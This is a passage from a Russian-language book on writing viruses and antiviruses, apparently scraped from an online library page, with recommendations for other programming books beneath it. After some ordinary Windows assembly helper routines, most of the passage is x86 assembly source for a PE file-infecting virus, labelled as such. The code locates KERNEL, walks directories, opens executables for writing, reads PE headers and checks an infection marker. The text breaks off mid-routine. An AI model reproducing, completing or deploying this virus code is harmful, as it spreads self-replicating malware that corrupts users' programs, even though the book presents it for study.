Читаем Создаем вирус и антивирус полностью

;Заполним структуру MINMAXINFO

mov ebx, [lparam]

mov [(MINMAXINFO ptr ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Выходим из обработки сообщения

finish:

ret

WndProc endp

;Процедура перевода байта в ASCII−формат для печати. Значение,

;находящееся в регистре AL, будет записано в ASCII−формате

;по адресу ES:EDI

HexWrite8 proc

;Разделяем байт на полубайты и загружаем их в регистры AH и AL

mov ah,al

and al,0Fh

shr ah,4

;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

;соответствующих символов ASCII. Если число,

;записанное в полубайте, было больше 9,

;то значение в этом полубайте надо еще корректировать

or ax,3030h

;Меняем полубайты местами, чтобы регистр AH содержал младший

;полубайт, а регистр AL – старший

xchg al,ah

;Проверим, надо ли корректировать младший полубайт,

;если да – корректируем

cmp ah, 39h

ja @@4

;Проверим, надо ли корректировать старший полубайт,

;если да – корректируем

@@1:

cmp al,39h

ja @@3

;Сохраним значение по адресу ES:EDI

@@2:

stosw

ret

;Корректируем значение старшего полубайта

@@3:

sub al, 30h

add al, ”A”–10

jmp @@2

;Корректируем значение младшего полубайта

@@4:

sub ah, 30h

add ah, ”A”–10

jmp @@1

HexWrite8 endp

;Процедура перевода слова в ASCII−формат для печати.

;Значение, находящееся в регистре AX, будет записано

;в ASCII−формате по адресу ES:EDI

HexWrite16 proc

;Сохраним младший байт из стека

push ax

;Загрузим старший байт в регистр AL

xchg al,ah

;Переведем старший байт в ASCII−формат

call HexWrite8

;Восстановим младший байт из стека

pop ax

;Переведем младший байт в ASCII−формат

call HexWrite8

ret

HexWrite16 endp

;Процедура перевода двойного слова в ASCII−формат для печати.

;Значение, находящееся в регистре EAX, будет записано

;в ASCII−формате по адресу ES:EDI

HexWrite32 proc

;Сохраним младшее слово из стека

push eax

;Загрузим старшее слово в регистр AX

shr eax, 16

;Переведем старшее слово в ASCII−формат

call HexWrite16

;Восстановим младшее слово из стека

pop eax

;Переведем младшее слово в ASCII−формат

call HexWrite16

ret

HexWrite32 endp

;Сделаем процедуру WndProc доступной извне

public WndProc

ends

;Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное – всего лишь программа−носитель

vladseg segment para public ”vlad”

assume cs:vladseg

vstart:

;Вычислим текущий адрес

call recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh ;Код команды SUB AX

subme dd 30000h+(recalc−vstart)

;Сохраним адрес в стеке

push eax

;Вычислим стартовый адрес вирусного кода

sub ebp,offset recalc

;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]

;Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]

jmp movit

;Точка 2 не подошла, проверим точку 1

notkern2:

;Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]

;Проверим ключ, если ключа нет – выходим

cmp dword ptr [eax],5350FC9Ch

jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX

movit:

;Сохраним адрес KERNEL

mov [ebp+offset kern],eax

cld

;Запомним текущую директорию

lea eax,[ebp+offset orgdir]

push eax

push 255

call GetCurDir

;Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

;Ищем первый файл

infectdir:

lea eax,[ebp+offset win32_data_thang]

push eax

lea eax,[ebp+offset fname]

push eax

call FindFile

;Сохраним индекс для поиска

mov dword ptr [ebp+offset searchhandle],eax

;Проверим, найден ли файл. Если файл не найден,

;меняем директорию

cmp eax,–1

jz foundnothing

;Откроем файл для чтения и записи

gofile:

push 0

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+offset fullname]

push eax

call CreateFile

;Сохраним описатель файла

mov dword ptr [ebp+offset ahand],eax

;Проверим, не произошла ли ошибка.

;Если ошибка произошла, ищем следующий файл

cmp eax,–1

jz findnextone

;Поставим указатель позиции чтения/записи на поле

;со смещением PE−заголовка

push 0

push 0

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес PE−заголовка

push 0

lea eax,[ebp+offset bytesread]

push eax

push 4

lea eax,[ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера

;PE−заголовка и таблицы объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push 58h

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Проверим сигнатуру. Если ее нет, закрываем

;этот файл и ищем следующий

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

;Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],0F00Dh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

Перейти на страницу:

Похожие книги

Основы программирования в Linux
Основы программирования в Linux

В четвертом издании популярного руководства даны основы программирования в операционной системе Linux. Рассмотрены: использование библиотек C/C++ и стан­дартных средств разработки, организация системных вызовов, файловый ввод/вывод, взаимодействие процессов, программирование средствами командной оболочки, создание графических пользовательских интерфейсов с помощью инструментальных средств GTK+ или Qt, применение сокетов и др. Описана компиляция программ, их компоновка c библиотеками и работа с терминальным вводом/выводом. Даны приемы написания приложений в средах GNOME® и KDE®, хранения данных с использованием СУБД MySQL® и отладки программ. Книга хорошо структурирована, что делает обучение легким и быстрым. Для начинающих Linux-программистов

Нейл Мэтью , Ричард Стоунс , Татьяна Коротяева

ОС и Сети / Программирование / Книги по IT
97 этюдов для архитекторов программных систем
97 этюдов для архитекторов программных систем

Успешная карьера архитектора программного обеспечения требует хорошего владения как технической, так и деловой сторонами вопросов, связанных с проектированием архитектуры. В этой необычной книге ведущие архитекторы ПО со всего света обсуждают важные принципы разработки, выходящие далеко за пределы чисто технических вопросов.?Архитектор ПО выполняет роль посредника между командой разработчиков и бизнес-руководством компании, поэтому чтобы добиться успеха в этой профессии, необходимо не только овладеть различными технологиями, но и обеспечить работу над проектом в соответствии с бизнес-целями. В книге более 50 архитекторов рассказывают о том, что считают самым важным в своей работе, дают советы, как организовать общение с другими участниками проекта, как снизить сложность архитектуры, как оказывать поддержку разработчикам. Они щедро делятся множеством полезных идей и приемов, которые вынесли из своего многолетнего опыта. Авторы надеются, что книга станет источником вдохновения и руководством к действию для многих профессиональных программистов.

Билл де Ора , Майкл Хайгард , Нил Форд

Программирование, программы, базы данных / Базы данных / Программирование / Книги по IT
Программист-прагматик. Путь от подмастерья к мастеру
Программист-прагматик. Путь от подмастерья к мастеру

Находясь на переднем крае программирования, книга "Программист-прагматик. Путь от подмастерья к мастеру" абстрагируется от всевозрастающей специализации и технических тонкостей разработки программ на современном уровне, чтобы исследовать суть процесса – требования к работоспособной и поддерживаемой программе, приводящей пользователей в восторг. Книга охватывает различные темы – от личной ответственности и карьерного роста до архитектурных методик, придающих программам гибкость и простоту в адаптации и повторном использовании.Прочитав эту книгу, вы научитесь:Бороться с недостатками программного обеспечения;Избегать ловушек, связанных с дублированием знания;Создавать гибкие, динамичные и адаптируемые программы;Избегать программирования в расчете на совпадение;Защищать вашу программу при помощи контрактов, утверждений и исключений;Собирать реальные требования;Осуществлять безжалостное и эффективное тестирование;Приводить в восторг ваших пользователей;Формировать команды из программистов-прагматиков и с помощью автоматизации делать ваши разработки более точными.

А. Алексашин , Дэвид Томас , Эндрю Хант

Программирование / Книги по IT